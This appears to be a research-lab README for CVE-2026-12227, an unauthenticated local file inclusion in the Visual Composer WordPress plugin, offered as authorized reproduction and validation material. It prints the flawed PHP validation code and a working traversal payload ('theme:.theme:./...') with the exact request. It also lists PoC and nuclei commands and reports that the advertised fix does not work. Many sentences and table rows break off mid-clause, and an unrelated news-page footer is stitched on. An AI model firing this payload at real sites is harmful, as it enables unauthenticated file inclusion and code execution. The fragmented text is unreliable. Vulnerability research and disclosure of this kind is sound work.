# CVE-2026-12227 - Visual Composer Unauthenticated LFI via vcv-template Validation Lab
Security-research material for reproducing and validating **CVE-2026-12227**:
an unauthenticated local file inclusion in Visual Composer Website Builder's
page-template resolution (CVSS 3.1 9.8), plus a verified vendor-fix
- **Affected:** Visual Composer **Use only on systems you own or are explicitly authorized to test.** The
> PoC fires harmless oracle includes (stock `wp-links-opml.php` /
> `xmlrpc.php` output). No file placement, no writes, no RCE payloads.
WP 7.1.1 + VC 45.16.1 : POST /?vcv-template-type=vc-custom-layout&
vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
-> 200, body contains (docroot PHP included + executed)
WP 7.1.1 + VC 45.16.3 : same request -> same oracle output
(the vendor "fixed" release is still exploitable)
WP 7.1.2 + VC 45.16.1 : silent (masked by the core gate, not by a plugin fix)
Marker-level proof (a planted PHP file in uploads/ included and executed,
unauthenticated GET) is part of the lab evidence and reproduced by
`./lab verify` on the vulnerable variant.
`visualcomposer/Modules/Editors/Settings/PageTemplatesController.php::viewPageTemplate()`
hooks `template_include` at priority 11 with **no auth check**:
// line 140: validation on the RAW request value
if (empty($current) || validate_file($current['value']) !== 0) {
// lines 146-149: mutation AFTER the gate
if ($current['type'] === 'vc-custom-layout' && strpos($current['value'], 'theme:') !== false) {
$current['value'] = str_replace('theme:', '', $current['value']);
$result = locate_template($current['value']);
`validate_file()` rejects literal `..`. But the value is fused only after
the check, so splitting each traversal across a `theme:` boundary passes it:
raw: theme:.theme:./.theme:./.theme:./wp-links-opml.php (no literal '..')
validate: PASS (validate_file sees no '..' substring)
strip: str_replace('theme:', '', ...) removes every 'theme:' occurrence,
fusing the fragments: '.' + '../' per boundary
result: ../../../wp-links-opml.php (pure traversal, resolved by the sink)
`Request::input()` (`Helpers/Request.php:76`) returns raw
`$_POST/$_GET/$_REQUEST`, so nothing upstream cleans it either.
`locate_template()` resolves the candidate with `file_exists()`, which honors
WordPress 7.1.2 (the CVE-2026-87902 fix) added
`_wp_is_template_path_allowed()` inside `locate_template()`
(`wp-includes/template.php`). That core gate rejects the fused traversal
candidate, so on WP 7.1.2+ this plugin chain is **masked by core** - the
plugin was never patched. Attribution verified in-lab: on 7.1.2 the sink
still runs but is confined to the theme directory; on 7.1.1 it escapes.
**Practical consequence:** a site running Visual Composer 45.16.3 (the
current release, advertised as fixed) on WordPress
[=] oracle silent after N requests: WP 7.1.2+ core gate masking, ...
RESULT: PATCHED CONTROL CONFIRMED (masked by WP 7.1.2 core gate)
./lab start vulnerable # WP 7.1.1 + VC 45.16.1 on 127.0.0.1:9488
./lab start patched # WP 7.1.2 + VC 45.16.1
./lab start latest # WP 7.1.1 + VC 45.16.3 (still fires)
Run the PoC by hand (loopback default; authorized external targets need the
python3 poc/poc_cve_2026_12227.py --url
python3 poc/poc_cve_2026_12227.py --url \
--allow-authorized-non-loopback [--insecure]
The nuclei template (`nuclei/cve-2026-12227.yaml`) fires the same oracle
payloads across homepage + page_id anchors at depths 3-6 with
| WP 7.1.1 + VC 45.16.1 (= 45.16.0 code) | LFI reproduced (oracle + planted-marker execution) |
| WP 7.1.1 + VC 45.16.3 (current release) | LFI still fires |
| WP 7.1.2 + VC 45.16.1 | Silent (masked by core gate) |
| VC 45.16.2 | fix-diff reviewed; vulnerable path unchanged (not separately run) |
Not committed: `assets/` (plugin zips), `.lab-state`, `__pycache__/`.
| Unauthenticated LFI to PHP execution outside the theme dir | Proven (oracle + planted marker) |
| Vendor fix absent through 45.16.3 | Proven (code diff + live fire on 45.16.3) |
| WP 7.1.2 core masking | Proven (same request silent on 7.1.2, fires on 7.1.1) |
| Depth semantics | 3 ups to docroot from themes//; sweep covers 3-6 |
| RCE via pearcmd/write chains on real targets | Not executed (safe-oracle-only PoC) |
| 45.16.0 (original affected release) | Code-identical to 45.16.1; its wp.org zip lacks vendor/ and cannot install |
The advisories list the fix as landing in 45.16.1, but the vulnerable code
path is unchanged in every release through 45.16.3 (verified by tree diffs
and live fire). If you maintain Visual Composer: `viewPageTemplate()` needs
to re-validate (or refuse) the value after the `theme:` strip, not before.
Sites should not rely on plugin updates for this one - the WordPress 7.1.2
- [NVD entry](
- [Wordfence record](
- [wp.org trac changeset 3619572](
- [GHSA-3q44-ppmv-jh7f](
- Cross-referenced: CVE-2026-87902 (the WP core fix that masks this chain)
Run this repository only on systems you own or are explicitly authorized to
test. The lab driver refuses unknown variants, the PoC refuses non-loopback
targets unless `--allow-authorized-non-loopback` is supplied, and the Compose
See [SECURITY.md](SECURITY.md) for disclosure handling. This repository does
not include production targets, customer data, access tokens, or evidence
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
